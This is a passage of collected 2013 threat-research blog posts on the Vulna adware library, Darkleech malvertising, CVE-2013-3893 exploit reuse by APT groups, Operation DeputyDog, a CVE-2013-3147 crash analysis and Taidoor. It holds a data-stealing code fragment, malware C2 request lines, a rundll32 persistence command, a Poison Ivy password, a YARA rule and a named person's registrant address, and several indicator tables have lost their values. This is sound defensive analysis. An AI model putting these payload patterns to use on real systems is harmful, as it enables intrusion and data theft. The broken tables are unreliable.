              This vulnerability involves a JAVA CMM integer overflow that allows overwriting the array length field in memory. During exploitation, the array length actually expands to 0x7fffffff, and the attacker can search for the securityManager object in memory and null it to break the sandbox. This technique is much more effective than overwriting function pointers and dealing with ASLR/DEP to get native code execution.

              The Array object modification technique is much better than other techniques. For the Flash ActionScript vector technique, there are no heap spray mitigations at all. As long as you have a memory-write vulnerability, it is easily implemented.


              The following table outlines recent APT zero-day exploits and what bypass techniques they used:



              ASLR bypassing has become more and more common in zero-day attacks. We have seen previous IE zero-day exploits using Microsoft Office non-ASLR DLL to bypass it, and Microsoft also did some mitigation in their latest OS and browser to prevent use of the non-ASLR module to defeat ASLR. Because the old technique will no longer work and can be easily detected, cybercriminals will have to use the advanced exploit technique. But for specific vulnerabilities that allow writing memory, combining the Vector.<uint> and Vector.<object> is more reliable and flexible. With just one shot, extending the exploit from writing a single byte to reading or writing gigabytes is easy and works for the latest OS and browser regardless of the OS, application, or language version.

              Many researchers have published research on ASLR bypassing, such as Dion Blazakis’s JIT spray and Yuyang’s LdrHotPatchRoutine technique. But so far we haven’t seen any zero-day exploit leveraging them in the wild. The reason could be that these techniques are generic approaches to defeating ASLR. And they are usually fixed quickly after going public.

              But there is no generic way to fix vulnerability-specific issues. In the future, expect more and more zero-day exploits using similar or more advanced techniques. We may need new mitigations in our OSs and security products to defeat them.

              Thanks again to Dan Caselden and Yichong Lin for their help with this analysis.

              Ad Vulna: A Vulnaggressive (Vulnerable & Aggressive) Adware Threatening Millions

              FireEye researchers have discovered a rapidly-growing class of mobile threats represented by a popular ad library affecting apps with over 200 million downloads in total. This ad library, anonymized as "Vulna," is aggressive at collecting sensitive data and is able to perform dangerous operations such as downloading and running new components on demand. Vulna is also plagued with various classes of vulnerabilities that enable attackers to turn Vulna's aggressive behaviors against users. We coined the term “vulnaggressive” to describe this class of vulnerable and aggressive characteristics. Most vulnaggresive libraries are proprietary and it is hard for app developers to know their underlying security issues. Legitimate apps using vulnaggressive libraries present serious threats for enterprise customers. FireEye has informed both Google and the vendor of Vulna about the security issues and they are actively addressing it.

              Recently FireEye discovered a new mobile threat from a popular ad library that no other anti-virus or security vendor has reported publicly before. Mobile ad libraries are third-party software included by host apps in order to display ads. Because this library’s functionality and vulnerabilities can be used to conduct large-scale attacks on millions of users, we refer to it anonymously by the code name “Vulna” rather than revealing its identity in this blog.

              We have analyzed all Android apps with over one million downloads on Google Play, and we found that over 1.8% of these apps used Vulna. These affected apps have been downloaded more than 200 million times in total.

              Though it is widely known that ad libraries present privacy risks such as collecting device identifiers (IMEI, IMSI, etc.) and location information, Vulna presents far more severe security issues. First, Vulna is aggressive—if instructed by its server, it will collect sensitive information such as text messages, phone call history, and contacts. It also performs dangerous operations such as executing dynamically downloaded code. Second, Vulna contains a number of diverse vulnerabilities. These vulnerabilities when exploited allow an attacker to utilize Vulna’s risky and aggressive functionality to conduct malicious activity, such as turning on the camera and taking pictures without user’s knowledge, stealing two-­factor authentication tokens sent via SMS, or turning the device into part of a botnet.

              We coin the term “vulnaggressive” to describe this class of vulnerable and aggressive characteristics.

              The following is a sample of the aggressive behaviors and vulnerabilities we have discovered in Vulna:

              • Aggressive Behaviors

                • In addition to collecting information used for targeting and tracking such as device identifiers and location, as many ad libraries do, Vulna also collects the device owner's email address and the list of apps installed on the device. Furthermore, Vulna has the ability to read text messages, phone call history, and contact list, and share this data publicly without any access control through a web service that it starts on the device.

                • Vulna will download arbitrary code and execute it when instructed by the remote server.

              • Vulnerabilities

                • Vulna transfers user’s private information over HTTP in plain text, which is vulnerable to eavesdropping attacks.

                • Vulna also uses unsecured HTTP for receiving commands and dynamically loaded code from its control server. An attacker can convert Vulna to a botnet by hijacking its HTTP traffic and serving malicious commands and code.

                • Vulna uses Android’s WebView with JavaScript-­to-­Java bindings in an insecure way. An attacker can exploit this vulnerability and serve malicious JavaScript code to perform harmful operations on the device. This vulnerability is an instance of a common JavaScript binding vulnerability which has been estimated to affect over 90% of Android devices.

                  Vulna’s aggressive behaviors and vulnerabilities expose Android users, especially enterprise users, to serious security threats. By exploiting Vulna’s vulnaggressive behaviors, an attacker could download and execute arbitrary code on user’s device within Vulna's host app. From our study, many host apps containing Vulna have powerful permissions that allow controlling the camera; reading and/or writing SMS messages, phone call history, contacts, browser history and bookmarks; and creating icons on home screen. An attacker could utilize these broad permissions to perform malicious actions. For example, attackers could:

                  • steal two-factor authentication token sent via SMS
                  • view photos and other files on the SD card
                  • install icons used for phishing attacks on the home screen
                  • delete files and destroy data on demand
                  • impersonate the owner and send forged text messages to business partners
                  • delete incoming text messages without the user’s notice
                  • place phone calls
                  • use the camera to take photos without user’s notice
                  • read bookmarks or change them to point to phishing sites

                  There are many possible ways an attacker could exploit Vulna’s vulnerabilities. One example is public WiFi hijacking: when the victim’s device connects to a public WiFi hotspot (such as at a coffee shop or an airport), an attacker nearby could eavesdrop on Vulna’s traffic and inject malicious commands and code.

                  Attackers can also conduct DNS hijacking to attack users around the world, as in the Syrian Electronic Army’s recent attacks targeting Twitter, the New York Times, and Huffington Post. In a DNS hijacking attack, an attacker could modify the DNS records of Vulna’s ad servers to redirect visitors to their own control server, in order to gather information from or send malicious commands to Vulna on the victim’s device.

                  Despite the severe threats it poses, Vulna is stealthy and hard to detect:

                  • Vulna receives commands from its ad server using data encoded in HTTP header fields instead of the HTTP response body.

                  • Vulna obfuscates its code, which makes traditional analysis difficult.

                  • Vulna's behaviors can be difficult to trigger using traditional analysis. For example, in one popular game, Vulna is executed only at certain points in the game, such as when a specific level is reached, as shown in the figure below. (The figure has been partially blurred to hide the identity of the app.) When Vulna is executed, the only effect visible to the user is the ad on top of the screen. However, Vulna quietly executes its risky behaviors in the background.

                    Vulna's screen shot

                  FireEye Mobile Threat Prevention applies a unique approach and technology that made it possible to discover the security issues outlined in this post quickly and accurately despite these challenges. We have provided information about the discovered security issues,  the list of impacted apps and suggestions to both Google and the vendor of Vulna. They have confirmed the issues and they are actively addressing it.

                  In conclusion, we have discovered a new mobile threat from a popular ad library (codenamed "Vulna" for anonymity). This library is included in popular apps on Google Play which have more than 200 million downloads in total. Vulna is an instance of a rapidly­-growing class of mobile threat, which we have termed vulnaggressive ad libraries. Vulnaggressive ad libraries are disturbingly aggressive at collecting users’ sensitive data and embedding capabilities to execute dangerous operations on demand, and they also contain different classes of vulnerabilities which allow attackers to utilize their aggressive behaviors to harm users. App developers using these third-party libraries are often not aware of the security issues in them. These threats are particularly serious for enterprise customers. Furthermore, this vulnaggressive characteristic is not just limited to ad libraries; it also applies to other third-party components and apps.


                  Special thanks to FireEye team members Adrian Mettler, Peter Gilbert, Prashanth Mohan, and Andrew Osheroff for their valuable help on writing this blog. We also thank Zheng Bu and Raymond Wei for their valuable comments and feedback.

                  Appendix: Sample code snippet of collecting and sending call logs in Vulna


                  class x implements Runnable




                  List localList = get_call_log();




                  List get_call_log()


                  ArrayList localArrayList = new ArrayList();

                  Cursor cur1 = getContentResolver().query(CallLog.Calls.CONTENT_URI,

                  new String[] { "number", "type", "date" }, null, null,

                  "date DESC limit 10");

                  cur2 = cur1;

                  if (cur2 != null){

                  int i = cur2.getColumnIndex("number");

                  int j = cur2.getColumnIndex("type");

                  while (cur2.moveToNext()){

                  String str = cur2.getString(i);

                  if ((cur2.getInt(j)==2) && (!localArrayList.contains(str)))




                  return localArrayList;


              Another Darkleech Campaign

              Last week got us up close and personal with Darkleech and Blackhole with our external careers web site.

              The fun didn’t end there, this week we saw a tidal wave of Darkleech activity linked to a large-scale malvertising campaign identified by the following URL:


              Again Darkleech was up to its tricks, injecting URLs and sending victims to a landing page belonging to the Blackhole Exploit Kit, one of the most popular and effective exploit kits available today. Blackhole wreaks havoc on computers by exploiting vulnerabilities in client applications like IE, Java and Adobe, computers that are vulnerable to exploits launched by Blackhole are likely to become infected with one of several flavors of malware including ransomware, Zeus/Zbot variants and clickfraud trojans like ZeroAccess.

              We started logging hits at 21:31:00 UTC on Sunday 09/22/2013, the campaign has been ongoing, peaking Monday and tapered down through out the week.

              During most of the campaign’s run, delivery[.]globalcdnnode[.]com appeared to have gone dark, no longer serving the exploit kit’s landing page as expected and then stopped resolving altogether, yet tons of requests kept flowing.

              This left some scratching their heads as to whether the noise was a real threat.

              Indeed, it was a real threat, as Blackhole showed up to the party a couple of days later; this was confirmed by actually witnessing a system get attacked on a subsequent visit to the URL.



              Figure 1. – Session demonstrating exploit via IE browser and Java.


              The server returned the (obfuscated) Blackhole Landing page; no 404 this time.


              Figure 2 – request and response to to delivery[.]globalcdnnode[.]com.


              The next stage was to load a new URL for the malicious jar file. At this point, the unpatched Windows XP system running vulnerable Java quickly succumbed to CVE-2013-0422.


              Figure 3 – Packet capture showing JAR file being downloaded.


              Figure 4. – Some of the Java class files visible in the downloaded Jar.


              Even though our system was exploited and the browser was left in a hung state, it did not receive the payload. Given the sporadic availability during the week of both the host and exploit kit’s landing page, it’s possible the system is or was undergoing further setup and this is the prelude to yet another large-scale campaign.

              We can’t say for sure but we know this is not the last time we will see it or the crimeware actor behind it.


              Name: Alexey Prokopenko
              Organization: home
              Address: Lenina 4, kv 1
              City: Ubileine
              Province/state: LUGANSKA OBL
              Country: UA
              Postal Code: 519000
              Email: alex1978a

              By the way, this actor has a long history of malicious activity online too.

              The campaign also appears to be abusing Amazon Web Services.


              origin =
              mail addr =

              At time of this writing, the domain delivery[.]globalcdnnode[.]com was still resolving, using fast-flux DNS techniques to resolve to a different IP address every couple minutes, thwarting attempts at shutting down the domain by constantly being on the move.


              Figure 5. – The familiar Plesk control panel, residing on the server.

              This was a widespread campaign, indirectly affecting many web sites via malvertising techniques. The referring hosts run the gamut from local radio stations to high profile news, sports, and shopping sites. Given the large amounts of web traffic these types of sites see, its not surprising there was a tidal wave of requests to delivery[.]globalcdnnode[.]com. Every time a page with the malvertisement was loaded, a request was made to hXXp://, in the background.

              To give an example of what this activity looked like from DTI, you can see the numbers in the chart below.



              Figure 6. – DTI graph showing number of Darkleech detections logged each day.

              By using malvertising and or posing as a legitimate advertiser or content delivery network, the bad guys infiltrate the web advertisement ecosystem. This results in their malicious content getting loaded in your browser, often times in the background, while you browse sites that have nothing to do with the attack (as was the case in our careers site).

              Imagine a scenario where a good portion of enterprise users have a home page set to a popular news website. More than likely, the main web page has advertisements, and some of those ads could be served from 3rd party advertiser networks and or CDNs. If just one of those advertisements on the page is malicious, visitors to that page are at risk of redirection and or infection, even though the news website’s server is itself clean.

              So, when everybody shows up to work on Monday and opens their browsers, there could be a wave of clients making requests to exploit kit landing pages, if Darkleech is lurking in those advertisement waters, you could end up with a leech or 2 attached to your network.

              Hand Me Downs: Exploit and Infrastructure Reuse Among APT Campaigns

              Since we first reported on Operation DeputyDog, at least three other Advanced Persistent Threat (APT) campaigns known as Web2Crew, Taidoor, and th3bug have made use of the same exploit to deliver their own payloads to their own targets. It is not uncommon for APT groups to hand-off exploits to others, who are lower on the zero-day food chain – especially after the exploit becomes publicly available. Thus, while the exploit may be the same, the APT groups using them are not otherwise related.

              In addition, APT campaigns may reuse existing infrastructure for new attacks. There have been reports that the use of CVE-2013-3893 may have begun in July; however, this determination appears to be based solely on the fact that the CnC infrastructure used in DeputyDog had been previously used by the attackers. We have found no indication that the attackers used CVE-2013-3893 prior to August 23, 2013.

              Exploit Reuse

              Since the use of CVE-2013-3893 in Operation DeputyDog (which we can confirm happened by at least August 23, 2013), the same exploit was used by different threat actors.


              On September 25, 2013, an actor we call Web2Crew utilized CVE-2013-3893 to drop PoisonIvy (not DeputyDog malware). The exploit was hosted on a server in Taiwan ( and dropped a PoisonIvy payload (38db830da02df9cf1e467be0d5d9216b) hosted on the same server. In our recent paper, we document how to extract intelligence from Poison Ivy that can be used to cluster activity.

              The Poison Ivy binary used in this attack was configured with the following properties:

              ID: gua925

              Group: gua925

              DNS/Port: Direct:, Direct:,

              Proxy DNS/Port:

              Proxy Hijack: No

              ActiveX Startup Key:

              HKLM Startup Entry:

              File Name:

              Install Path: C:\Documents and Settings\Administrator\Desktop\runrun.exe

              Keylog Path: C:\Documents and Settings\Administrator\Desktop\runrun

              Inject: No

              Process Mutex: ;A>6gi3lW

              Key Logger Mutex:

              ActiveX Startup: No

              HKLM Startup: No

              Copy To: No

              Melt: No

              Persistence: No

              Keylogger: No

              Password: LostC0ntrol2013~2014

              This configuration matches with other Web2Crew particularly ‘gua25’ ID. Some previous Web2Crew Poison Ivy samples have been configured with similar IDs including:







              Additionally, the IP address was used to host the command and control server in this attack. A number of known Web2Crew domains previously resolved to this same IP address between August 15 and August 29.

              DATE DOMAIN
              2013-08-15 2013-08-15
              2013-08-15 2013-08-15
              2013-08-15 2013-08-15
              2013-08-15 2013-08-15
              2013-08-15 2013-08-15
              2013-08-15 2013-08-15
              2013-08-15 2013-08-15
              2013-08-15 2013-08-15
              2013-08-16 2013-08-16
              2013-08-16 2013-08-16
              2013-08-16 2013-08-16
              2013-08-16 2013-08-16
              2013-08-16 2013-08-16
              2013-08-21 2013-08-21
              2013-08-29 2013-08-29
              2013-08-29 2013-08-29
              2013-08-29 2013-08-29
              2013-08-29 2013-08-29

              We observed the Web2Crew actor targeting a financial institution in this attack as well as in previous attacks.


              The same exploit (CVE-2013-3893) has also been used by another, separate APT campaign. By at least September 26, 2013 a compromised Taiwanese Government website was used to host the same exploit, however, the payload in this case was Taidoor (not DeputyDog malware). The decoded payload has an MD5 of 666603bd2073396b7545d8166d862396. The CnC servers are and

              We found another instance of CVE-2013-3893 hosted at www.atmovies[.]com[.]tw/home/temp1.html. This dropped another Taidoor binary with the MD5 of 1b03e3de1ef3e7135fbf9d5ce7e7ccf6. This Taidoor sample connected to a command and control server at We found this sample targeting the same financial services firm targeted by the web2crew actor discussed above.

              Both of these samples were the newer versions of Taidoor that we previously described here.


              The actor we refer to as ‘th3bug’ also used CVE-2013-3893 in multiple attacks. Beginning on September 27, compromised websites hosting the Internet Explorer zero-day redirected victims to download a stage one payload (496171867521908540a26dc81b969266) from www.jessearch[.]com/dev/js/27.exe. This payload was XOR’ed with a single byte key of 0x95.

              The stage 1 payload then downloaded a PoisonIvy payload (not DeputyDog malware) via the following request:

              GET /dev/js/heap.php HTTP/1.1


              User-Agent: Mozilla/4.0 (compatible)


              Cache-Control: no-cache

              The PoisonIvy payload then connected to a command and control server at

              The deobfuscated stage 1 payload has a MD5 of 4017d0baa83c63ceff87cf634890a33f and was compiled on September 27, 2013. This may indicate that the th3bug actor also customized the IE zero-day exploit code on September 27, 2013 – well after the actors responsible for the DeputyDog malware weaponized the same exploit.

              Infrastructure Reuse

              APT groups also reuse CnC infrastructure. It is not uncommon to see a payload call back to the same CnC, even through it has been distributed via different means. For example, although the first reported use of CVE-2013-3893 in Operation DeputyDog was August 23, 2013, the CnC infrastructure had been used in earlier campaigns.

              Specifically, one of the reported DeputyDog command and control servers located at had been used in a previous attack in July 2013. During this previous attack, likely executed by the same actor responsible for the DeputyDog campaign, the IP hosted a PoisonIvy control server and was used to target a gaming company as well as high-tech manufacturing company. There is no evidence to suggest that this July attack using Poison Ivy leveraged the same CVE-2013-3893 exploit.

              We also observed usage of Trojan.APT.DeputyDog malware as early as March 26, 2013. In this attack, a Trojan.APT.DeputyDog binary (b1634ce7e8928dfdc3b3ada3ab828e84) was deployed against targets in both the high-technology manufacturing and finance verticals. This DeputyDog binary called back to a command and control server at There is also no evidence in this case to suggest that this attack used the CVE-2013-3893 exploit.

              This malware family and the CnC infrastructure is part of an ongoing campaign. Therefore, the fact that this infrastructure was active prior to the first reported use of CVE-2013-3893 does not necessarily indicate that this particular exploit was previously used. The actor responsible for the DeputyDog campaign employs a multiple of malware tools and utilizes a diverse command and control infrastructure.


              The activity associated with specific APT campaigns can be clustered and tracked by unique indicators. There are a variety of different campaigns that sometimes make use of the same malware (or sometimes widely available malware such as PoisonIvy) and the same exploits. It is not uncommon for zero-day exploits to be handed down to additional APT campaigns after they have already been used.

              • The first observed usage of CVE-2013-3893, in Operation Deputy Dog, remains August 23, 2013. However, the C2 infrastructure had been used in previous attacks in July 2013.
              • The CVE-2013-3893 has been subsequently used by at least three other APT campaigns: Taidoor, th3bug, and Web2Crew. However, other than the common use of the same exploit, these campaigns are otherwise unrelated.
              • We expect that CVE-2013-3893 will continue to be handed down to additional APT campaigns and may eventually find its way into the cyber-crime underground.

              Operation DeputyDog: Zero-Day (CVE-2013-3893) Attack Against Japanese Targets

              FireEye has discovered a campaign leveraging the recently announced zero-day CVE-2013-3893. This campaign, which we have labeled ‘Operation DeputyDog', began as early as August 19, 2013 and appears to have targeted organizations in Japan. FireEye Labs has been continuously monitoring the activities of the threat actor responsible for this campaign. Analysis based on our Dynamic Threat Intelligence cluster shows that this current campaign leveraged command and control infrastructure that is related to the infrastructure used in the attack on Bit9.

              Campaign Details

              On September 17, 2013 Microsoft published details regarding a new zero-day exploit in Internet Explorer that was being used in targeted attacks. FireEye can confirm reports that these attacks were directed against entities in Japan. Furthermore, FireEye has discovered that the group responsible for this new operation is the same threat actor that compromised Bit9 in February 2013.

              FireEye detected the payload used in these attacks on August 23, 2013 in Japan. The payload was hosted on a server in Hong Kong ( and was named “img20130823.jpg”. Although it had a .jpg file extension, it was not an image file. The file, when XORed with 0x95, was an executable (MD5: 8aba4b5184072f2a50cbc5ecfe326701).

              Upon execution, 8aba4b5184072f2a50cbc5ecfe326701 writes “28542CC0.dll” (MD5: 46fd936bada07819f61ec3790cb08e19) to this location:

              C:\Documents and Settings\All Users\Application Data\28542CC0.dll

              In order to maintain persistence, the original malware adds this registry key:


              The registry key has this value:

              rundll32.exe "C:\Documents and Settings\All Users\Application Data\28542CC0.dll",Launch

              The malware (8aba4b5184072f2a50cbc5ecfe326701) then connects to a host in South Korea ( This callback traffic is HTTP over port 443 (which is typically used for HTTPS encrypted traffic; however, the traffic is not HTTPS nor SSL encrypted). Instead, this clear-text callback traffic resembles this pattern:

              POST /info.asp HTTP/1.1

              Content-Type: application/x-www-form-urlencoded

              Agtid: [8 chars]08x

              User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)


              Content-Length: 1045

              Connection: Keep-Alive

              Cache-Control: no-cache

              [8 chars]08x&[Base64 Content]

              The unique HTTP header “Agtid:” contains 8 characters followed by “08x”. The same pattern can be seen in the POST content as well.

              A second related sample was also delivered from on September 5, 2013. The sun.css file was a malicious executable with an MD5 of bd07926c72739bb7121cec8a2863ad87 and it communicated with the same communications protocol described above to the same command and control server at

              Related Samples

              We found that both droppers, bd07926c72739bb7121cec8a2863ad87 and 8aba4b5184072f2a50cbc5ecfe326701, were compiled on 2013-08-19 at 13:21:59 UTC. As we examined these files, we noticed a unique fingerprint.

              These samples both had a string that may have been an artifact of the builder used to create the binaries. This string was “DGGYDSYRL”, which we refer to as “DeputyDog”. As such, we developed the following YARA signature, based on this unique attribute:

              rule APT_DeputyDog_Strings


              author = "FireEye Labs"

              version = "1.0"

              description = "detects string seen in samples used in 2013-3893 0day attacks"

              reference = "8aba4b5184072f2a50cbc5ecfe326701"

              $mz = {4d 5a}

              $a = "DGGYDSYRL"

              ($mz at 0) and $a


              We used this signature to identify 5 other potentially related samples:

              MD5 Compile Time (UTC) C2 Server
              58dc05118ef8b11dcb5f5c596ab772fd 58dc05118ef8b11dcb5f5c596ab772fd 2013-08-19 13:21:58 2013-08-19 13:21:58
              4d257e569539973ab0bbafee8fb87582 4d257e569539973ab0bbafee8fb87582 2013-08-19 13:21:58 2013-08-19 13:21:58
              dbdb1032d7bb4757d6011fb1d077856c dbdb1032d7bb4757d6011fb1d077856c 2013-08-19 13:21:59 2013-08-19 13:21:59
              645e29b7c6319295ae8b13ce8575dc1d 645e29b7c6319295ae8b13ce8575dc1d 2013-08-19 13:21:59 2013-08-19 13:21:59
              e9c73997694a897d3c6aadb26ed34797 e9c73997694a897d3c6aadb26ed34797 2013-04-13 13:42:45 2013-04-13 13:42:45

              Note that all of the samples, except for e9c73997694a897d3c6aadb26ed34797, were compiled on 2013-08-19, within 1 second of each other.

              We pivoted off the command and control IP addresses used by these samples and found the following known malicious domains recently pointed to

              Domain First Seen Last Seen
     2013-09-01 05:02:22 2013-09-01 05:02:22 2013-09-01 08:25:22 2013-09-01 08:25:22
     2013-09-01 05:02:21 2013-09-01 05:02:21 2013-09-01 08:25:24 2013-09-01 08:25:24
     2013-09-01 05:02:20 2013-09-01 05:02:20 2013-09-01 08:25:22 2013-09-01 08:25:22
     2013-07-01 10:48:56 2013-07-01 10:48:56 2013-07-09 05:00:03 2013-07-09 05:00:03

              Links to Previous Campaigns

              According to Bit9, the attackers that penetrated their network dropped two variants of the HiKit rootkit. One of these Hitkit samples connected to a command and control server at downloadmp3server[.]servemp3[.]com that resolved to This same IP address also hosted www[.]yahooeast[.]net, a known malicious domain, between March 6, 2012 and April 22, 2012.

              The domain yahooeast[.]net was registered to This email address was also used to register blankchair[.]com – the domain that we see was pointed to the IP, which is the callback associated with sample 58dc05118ef8b11dcb5f5c596ab772fd, and has been already correlated back to the attack leveraging the CVE-2013-3893 zero-day vulnerability.

              Threat Actor Attribution



              While these attackers have a demonstrated previously unknown zero-day exploits and a robust set of malware payloads, using the techniques described above, it is still possible for network defense professionals to develop a rich set of indicators that can be used to detect their attacks. This is the first part of our analysis, we will provide more detailed analysis on the other components of this attack in subsequent blog post.

              Darkleech Says Hello

              There's never a dull day at FireEye -- even on the weekends. At approximately 7:29 AM PDT today, we were notified by several security researchers that a fireeye[.]com/careers HR link was inadvertently serving up a drive-by download exploit. Our internal security, IT operations team, and third-party partners quickly researched and discovered that the malicious code was not hosted directly on any FireEye web infrastructure, but rather, it was hosted on a third-party advertiser (aka "malvertisement") that was linked via one of our third-party web services. The team then responded and immediately removed links to the malicious code in conjunction with our partners in order to protect our website users. More information on this third-party compromise (of video.js) can be found here.

              Technical Details

              The full redirect looked like this:




              (redirect to) -> hxxp://xxx[.]xxxxxxxx[.]com/career/


              (calls) -> hxxp://vjs[.]zencdn[.]net/c/video.js (VULNERABLE JAVASCRIPT)

              (calls) -> hxxp://cdn[.]adsbarscipt[.]com/links/jump/ (MALVERTISEMENT)

              (calls) -> hxxp://209[.]239[.]127[.]185/591918d6c2e8ce3f53ed8b93fb0735cd

              /face-book.php (EXPLOIT URL)

              (drops) -> MD5: 01771c3500a5b1543f4fb43945337c7d




              So what was this, anyway?

              It turns out, this attack was not targeted and it was not a watering hole attack. Instead, this campaign appears to be a recent wave of the Darkleech malware campaign, where third-party Horde/IMP Plesk Webmail servers were vulnerable to attack and used to serve up Java exploits that ultimately drop yet another ransomware named Reveton (similar to Urausy) -- yet other AV engines report it as a Zeus Bot (Zbot) variant.

              Do FireEye products detect this attack?

              Yes, the initial infection vector, payload, and corresponding Reveton callbacks were fully detected across all FireEye products prior to this incident being reported to us. In fact, this particular Reveton sample has been reported by approximately 49 of our worldwide customers, so far. Further intelligence about this threat is listed below:

              • DTI Statistics for MD5: 01771c3500a5b1543f4fb43945337c7d
              • MD5 first seen by our customers: 2013-09-14 07:12:40 UTC
              • Number of unique worldwide FireEye Web MPS detections: 188+
              • Number of unique FireEye Web MPS customers reported/alerted on this sample: 49+
              • Number of industries affected: 12+

              Industries affected by Reveton

              Lastly, FireEye acknowledges and thanks security researchers Inaki Rodriguez and Stephanus J Alex Taidri for bringing this issue to our attention.

              Technical Analysis of CVE-2013-3147

              In July, Microsoft released a patch for a memory-corruption vulnerability in the Internet Explorer (IE) Web browser. The vulnerability enabled remote attackers to execute arbitrary code or cause a denial of service through a crafted or compromised website — also known as a drive-by download.

              This vulnerability is particularly interesting because it is so simple that even some tutorials on the web can trigger it, and it is unique to IE. The vulnerability exists in onbeforeeditfocus event. Only Internet Explorer supports this event (detailed information can be found at


              The vulnerability triggers when the document markup is manipulated inside the handler of onbeforeeditfocus event. It leads to a crash in mshtml!CElement::BubbleBecomeCurrent when the instruction tries to access the freed pointer.

              Following is the state of registers at the time of crash.

              0:008> r

              eax=00000004 ebx=00000000 ecx=06034f88 edx=80000035 esi=06082fb0

              edi=048466a8 eip=636b31fe esp=037cf9b8 ebp=037cf9d4 iopl=0 nv up ei pl zr na pe nc

              cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246


              636b31fe 8b7604 mov esi,dword ptr [esi+4] ds:0023:06082fb4=????????

              At this stage ESI holds the freed pointer.

              0:008> !heap -p -a esi

              address 06082fb0 found in

              _DPH_HEAP_ROOT @ 141000

              in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)

              5802a58: 6082000 2000

              7c927553 ntdll!RtlFreeHeap+0x000000f9

              63625834 mshtml!CTreeNode::Release+0x0000002d

              63640cea mshtml!PlainRelease+0x00000033

              63662fec mshtml!CTreeNode::NodeRelease+0x0000002a

              635bd2d4 mshtml!CElement::BecomeCurrent+0x00000145

              636b31eb mshtml!CElement::BubbleBecomeCurrent+0x00000094

              637eeb74 mshtml!CElement::BubbleBecomeCurrent+0x0000004c

              636b5dd5 mshtml!CDoc::PumpMessage+0x0000096a

              635f1fea mshtml!CDoc::OnMouseMessage+0x0000055d

              635ef664 mshtml!CDoc::OnWindowMessage+0x000007af

              6364207a mshtml!CServer::WndProc+0x00000078

              7e418734 USER32!InternalCallWinProc+0x00000028

              7e418816 USER32!UserCallWinProcCheckWow+0x00000150

              7e4189cd USER32!DispatchMessageWorker+0x00000306

              7e418a10 USER32!DispatchMessageW+0x0000000f

              02562ec9 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000461

              Following was the size of allocation where ESI is pointing:

              ESI: 6082fb0

              address 06082fb0 found in

              _DPH_HEAP_ROOT @ 141000

              in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)

              5802a58: 6082fb0 4c - 6082000 2000

              7c918f01 ntdll!RtlAllocateHeap+0x00000e64

              635a8225 mshtml!CHtmRootParseCtx::BeginElement+0x00000030

              635bc1e9 mshtml!CHtmTextParseCtx::BeginElement+0x0000006c

              635a8420 mshtml!CHtmParse::BeginElement+0x000000b7

              635a93b4 mshtml!CHtmParse::ParseBeginTag+0x000000fe

              635a6bb6 mshtml!CHtmParse::ParseToken+0x00000082

              635a7ff4 mshtml!CHtmPost::ProcessTokens+0x00000237

              635a734c mshtml!CHtmPost::Exec+0x00000221

              635ac2b8 mshtml!CHtmPost::Run+0x00000015

              635ac21b mshtml!PostManExecute+0x000001fd

              635cece9 mshtml!CPostManager::PostManOnTimer+0x00000134

              6364de62 mshtml!GlobalWndOnMethodCall+0x000000fb

              6363c3c5 mshtml!GlobalWndProc+0x00000183

              7e418734 USER32!InternalCallWinProc+0x00000028

              7e418816 USER32!UserCallWinProcCheckWow+0x00000150

              7e4189cd USER32!DispatchMessageWorker+0x00000306

              But the story doesn’t end here. The instruction on which we are getting an exception is moving the pointer at [ESI+4] to ESI. So looking to the pointer, which is at [ESI+4], is important. If we monitor the ESI, then we will see the following sequence (note: the value of ESI is changed from the previous one because I collected this information at the second run):

              ESI: 48bafb0 [ESI+4]: 6050fb0 [[ESI+4]]: 5ff0fd0 [[[ESI+4]]]: 635ba8c0

              ESI: 48bafb0 [ESI+4]: 0 <---------------------- Exception

              The exception instruction is expecting 6050fb0 at [ESI+4]. But because the pointer is freed, we hit an exception. The address 6050fb0 is the pointer to object 5ff0fd0 of type 635ba8c0 as we can see in the above lines and can also verify with the below windbg command.

              0:008> ln 635ba8c0

              (635ba8c0) mshtml!CBodyElement::`vftable' | (637812c0) mshtml!CStackDataAry

              <unsigned short,128>::`vftable'

              Exact matches:

              mshtml!CBodyElement::`vftable' = <no type information>

              Possible Code Execution Path:

              This situation can lead to code execution because the value at [ESI+4] propagates to  the CElement::BecomeCurrent method which again calls the CElement::Doc method to access the vftable and call a function.

              Following is the disassembly of the faulty function:

              Our program crashes here:






              Here, a few checks are getting the value of EBX. But EBX is also in control, and the value of EBX remains the same as it was in the beginning of the function call.






              This isn't the first IE vulnerability in which the CElement::Doc function played a role — in at least one other past vulnerabilityCElement::Doc function played a key role in the code execution.

              (Thanks to my colleagues Abhishek Singh and Yichong Lin for their suggestions.)

              Evasive Tactics: Taidoor

              The Taidoor malware has been used in many ongoing cyber espionage campaigns. Its victims include government agencies, corporate entities, and think tanks, especially those with interests in Taiwan. [1] In a typical attack, targets receive a spear-phishing email which encourages them to open an attached file. If opened on a vulnerable system, malware is silently installed on the target’s computer while a decoy document with legitimate content is opened that is intended to alleviate any suspicions the target may have. Taidoor has been successfully compromising targets since 2008, and continues to be active today.

              Despite being around for a long time – and quite well known – Taidoor is a constantly evolving, persistent threat. We observed significant tactical changes in 2011 and 2012, when the malicious email attachments did not drop the Taidoor malware directly, but instead dropped a “downloader” that then grabbed the traditional Taidoor malware from the Internet. [2]

              Recently, we observed a new variant of Taidoor, which was used in targeted attacks. It has evolved in two ways. Instead of downloading the traditional Taidoor malware from a command-and-control (CnC) server, the “downloader” reaches out to Yahoo Blogs and retrieves encrypted text from blog posts. When decrypted by the “downloader”, this text is actually a modified version of the traditional Taidoor malware. This new version of Taidoor maintains similar behavior, but has been changed enough to avoid common network detection signatures.

              Traditional Taidoor Malware

              The Taidoor malware is traditionally delivered as an email attachment. If opened, the Taidoor malware is dropped onto the target’s system, and starts to beacon to a CnC server. Taidoor connects to its CnCs using HTTP, and the “GET” request has been consistent since 2008. It follows a simple pattern:

              GET /[5 characters].php?id=[6 numbers][12 characters/numbers]

              The last set of 12 characters is actually the encrypted MAC address of the compromised computer. The values of the MAC address are incremented by 1, and this is used as an RC4 key to encrypt the data that is passed between the compromised computer and its CnC server.

              The New Taidoor

              In the past, other APT campaigns have used blog hosting platforms as a mechanism to transmit CnC server information to compromised targets. [3] Attackers using Taidoor have leveraged this model as well.

